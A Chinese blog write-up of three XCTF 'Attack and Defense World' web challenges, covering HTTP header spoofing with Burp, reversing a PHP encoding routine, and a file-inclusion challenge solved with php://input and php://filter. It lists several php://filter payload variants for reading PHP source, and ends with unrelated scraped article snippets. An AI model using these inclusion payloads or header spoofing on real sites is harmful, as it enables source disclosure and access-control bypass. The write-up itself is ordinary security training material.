[web][攻防世界]

2023-11-08

[web][攻防世界]xff_referer

题目

https://adworld.xctf.org.cn/challenges/details?hash=cd168887-2438-4370-aeae-cce3329edc82_2&task_category_id=3
在这里插入图片描述

过程

1.浏览器使用代理
在这里插入图片描述
2.打开burp suit,拦截页面
在这里插入图片描述
3.发送到repeater
在这里插入图片描述
4.添加X-Forwarded-For再发送
在这里插入图片描述

在这里插入图片描述

5.添加referer再发送
在这里插入图片描述
6.在回显页面得到flag
在这里插入图片描述

总结

http请求头伪造

伪造IP来源

X-Forwarded-For:

伪造url来源

referer: 

伪造浏览器

User-Agent: 

在这里插入图片描述

[web][攻防世界]web2

题目

https://adworld.xctf.org.cn/challenges/details?hash=ebfb48d9-b6db-4f66-a0d3-0784df71111_2&task_category_id=3
在这里插入图片描述

过程

1.读代码,逆向encode函数,解密 $miwen

 <?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);//反转字符串str
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);//提取字符串_o里的_0,长度为1
        $__=ord($_c)+1;//返回字符串_c的ascii值,加1
        $_c=chr($__);//从ascii值__返回字符
        $_=$_.$_c;//字符串_c连接到字符串_上   
    } 
    return str_rot13(strrev(base64_encode($_)));//对_base64编码,然后反转,然后对字符串执行 ROT13 编码。ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

2.写decode函数

function decode($str){
	$_o=base64_decode(strrev(str_rot13($str)));
	//echo $_o;
	for($_0=0;$_0<strlen($_o);$_0++){
   
		$_c=substr($_o,$_0,1);
		$__=ord($_c)-1;
		$_c=chr($__);
		$_=$_.$_c; 	
	}
	echo strrev($_); 
}

3.运行php代码

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function decode($str){
	$_o=base64_decode(strrev(str_rot13($str)));
	//echo $_o;
	for($_0=0;$_0<strlen($_o);$_0++){
   
		$_c=substr($_o,$_0,1);
		$__=ord($_c)-1;
		$_c=chr($__);
		$_=$_.$_c; 	
	}
	echo strrev($_); 
}
decode($miwen);
?>

在这里插入图片描述

题目

https://adworld.xctf.org.cn/challenges/details?hash=21301f1c-17ae-11ed-abf3-fa163e4fa609&task_category_id=3
在这里插入图片描述

过程

1.源代码

WRONG WAY! <?php //WRONG WAY说明不应使用GET,应使用POST
include("flag.php");//包含文件flag.php
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))//两个参数file1和file2
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")//file2内容为hello ctf
        {
            include($file1); //file1有文件包含
        }
    }
    else
        die("NONONO");
} 

2.使用POST方式,php://input 伪协议,写入file2内容
在这里插入图片描述
3.使用php://filter 伪协议得到flag.php源代码

?file1=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

4.发送包,回显base64
在这里插入图片描述

5.解码base64
在这里插入图片描述

总结

php://filter
利用php的filter机制来得到php源代码。这里假设,构造回显网站根目录下的源代码文件flag.php的payload,获取到对应代码的base64编码

?file=php://filter/convert.base64-encode/resource=flag.php
?file=php://filter/read=convert.base64/resource=flag.php
?file=php://filter?read=convert.base64-encode/resource=flag.php
?file=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

php://input
使用php://input post 指定内容,常见特征file_put_contents(字符串写入文件函数)

?file=php://input
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[web][攻防世界] 的相关文章

随机推荐

  • Java使用JWT

    JWT 一 简介 1 JWT JWT为 Json Web Token 是一种令牌生成算法 使用JWT能够保证Token的安全性 且能够进行Token时效性的检验 2 JWT结构 JWT共由三部分组成 分别是数据头 Header Payloa
  • 中国人民大学计算机系孙辉,信息学院教师担任国际信息学奥林匹克竞赛中国队副领队并率队取得优异成绩...

    近日 中国人民大学信息学院计算机系教师孙辉担任第二十五届国际信息学奥林匹克竞赛 IOI2013 中国队副领队 并于2013年7月率队参加在澳大利亚布里斯班大学举行的IOI2013世界大赛 本次竞赛共有来自102个国家和地区的299名选手参加
  • Java JDBC(JdbcTemplate)的一个简单操作

    Java JDBC JdbcTemplate 的一个简单操作 一个工具类 点击查看工具类 package JDBCTemplate import JdU JDBCUtils 添加工具类 import org springframework
  • TiledMap简介

    TiledMap简介 TiledMap是一款地图编辑器 我们常用它编辑一些相似度很大的背景 例如 超级 玛丽的地图 天天酷跑 COC等 这些游戏的地图都有一个共同点那么就是有很多相 同的色块组成 如果用纯代码取拼接那会很复杂 如果用Tile
  • el-tree勾选并过滤回显数据

    1 功能描述 现在需要将el tree勾选选择的数据回显得到另外一个树形结构 使用getCheckedNodes方法获得的数据中返回了所有勾选的节点 数据中子节点与父节点重复选中 所以通过判断parentId是否已选中过滤掉重复的子节点 注
  • 【华为OD统一考试A卷

    在线OJ 已购买本专栏用户 请私信博主开通账号 在线刷题 运行出现 Runtime Error 0Aborted 请忽略 华为OD统一考试A卷 B卷 新题库说明 2023年5月份 华为官方已经将的 2022 0223Q 1 2 3 4 统一
  • Docker安装最新版MySQL5.7(mysql-5.7.40)教程(参考Docker Hub)

    一 前言 MySQL官方安装包下载地址 https dev mysql com downloads mysql Docker Hub官方网址 https hub docker com MySQL系列安装部署教程 写最好的Docker安装最新
  • 下划线/驼峰参数格式互转

    分享一次下划线格式参数json串转换为驼峰obj的case 业务场景 工程内定义model的参数命名格式为驼峰命名 但是微信小程序接口参数命名格斯为snake case下划线格式 是妥协使用下划线还是坚持节操继续驼峰 作为一个技术控 程序员
  • 阿里云(企业云解析DNS)让你的博客飞起来

    引用 你是否还在为网站访问速度而苦恼 你是否还在恐惧全国各地而来的访客 不用慌 不用怕 企业云解析DNS为你保驾护航排忧解难 在这互联网的冬天让你依靠温暖的胸膛 不要998 不要888 不要668 一年只需要103 2 没错你没听错 只要1
  • C++ MFC中如何根据不同文件编码格式创建和写文本内容

    废话不多说 相信有点基础的应该都不难看懂下面的源码内容 这里假设VC 的字符集编码格式是Unicode 要写入的文本内容是m strTEXT 1 保存ANSI编码格式的文本文件 CStdioFile file if file Open T
  • Day5-最长公共前缀

    题目 题解 用的最简单的暴力 把每一个字符串的每一个字符与第一个字符串的对应字符做对比 有不相同则返回最长前缀 所有都相同则将该字符加入最长前缀中 C 解法1 先求出最短的字符串 用它作为循环结束条件 class Solution publ
  • ubuntu22.04安装TeslaM40,P40显卡驱动

    一 安装前的准备 1 在电脑重启中进入电脑的BIOS设置 在设置中将 Above 4G decoding 设置为启动 以便系统可以识别到显卡 2 禁用Ubuntu自带的nouveau驱动 sudo gedit etc modprobe d
  • CH340 MAC驱动使用教程

    CH340 支持各类系统平台下使用 驱动的使用以及下载介绍可以参见我的其他博客 CH340 驱动 含各平台 这一篇文章主要介绍CH340 在 MAC 以及各类 Arduino 平台的安装使用流程 首先到沁恒官网下载最新的CH340驱动 这里
  • 微信小程序、h5兼容性问题(1)

    1 微信小程序中border image 设置渐变 导致border radius 不生效 border radius 20rpx border image linear gradient 180deg rgba 200 200 200 0
  • 基于WVP的轻量化智能监控平台

    当代智能监控平台不乏功能强大的产品 但由于涉及模块 组件多 产品容易臃肿 对私有化场景增加了一定的阻碍 于是 轻量化智能监控平台很有必要 下面为大家一一介绍 01 WVP是什么 WEB VIDEO PLATFORM是一个基于GB28181
  • k8s - kubelet启动失败处理记录

    测试环境好久没有使用了 启动kubelet发现失败了 查看状态 每看到具体报错点 root node1 systemctl status kubelet kubelet service kubelet The Kubernetes Node
  • 一条SQL语句实现查询成绩-60、60~80、+80的人数的方法

    总结一下学到的一个SQL方法 下面我创建一个数据表 SELECT FROM students 可以看到数据表中存在六条数据 如果使用传统的查询方法 我们需要三条SQL语句 分别是 select count from students whe
  • 百度云盘登录二维码刷不出来

    1 我尝试安装最新的百度云盘 没有作用 不是云盘的问题 2 包括登录的时候需要输入验证码 也没有刷出来 我应该就想到是ie浏览器的问题 在浏览器设置 删除重置信息后解决 win R运行 inetcpl cpl 点击上方的高级 点击下面重置
  • 【转】盘点 MySQL 慢查询的 12 个原因

    转 https mp weixin qq com s gz wQPsaerf4k7ymG8DiDA https mp weixin qq com s h9jWeoyiBGnQLvDrtXqVWw https mp weixin qq com
  • [web][攻防世界]

    web 攻防世界 xff referer 题目 过程 总结 题目 过程 题目 过程 总结 题目 https adworld xctf org cn challenges details hash cd168887 2438 4370 aea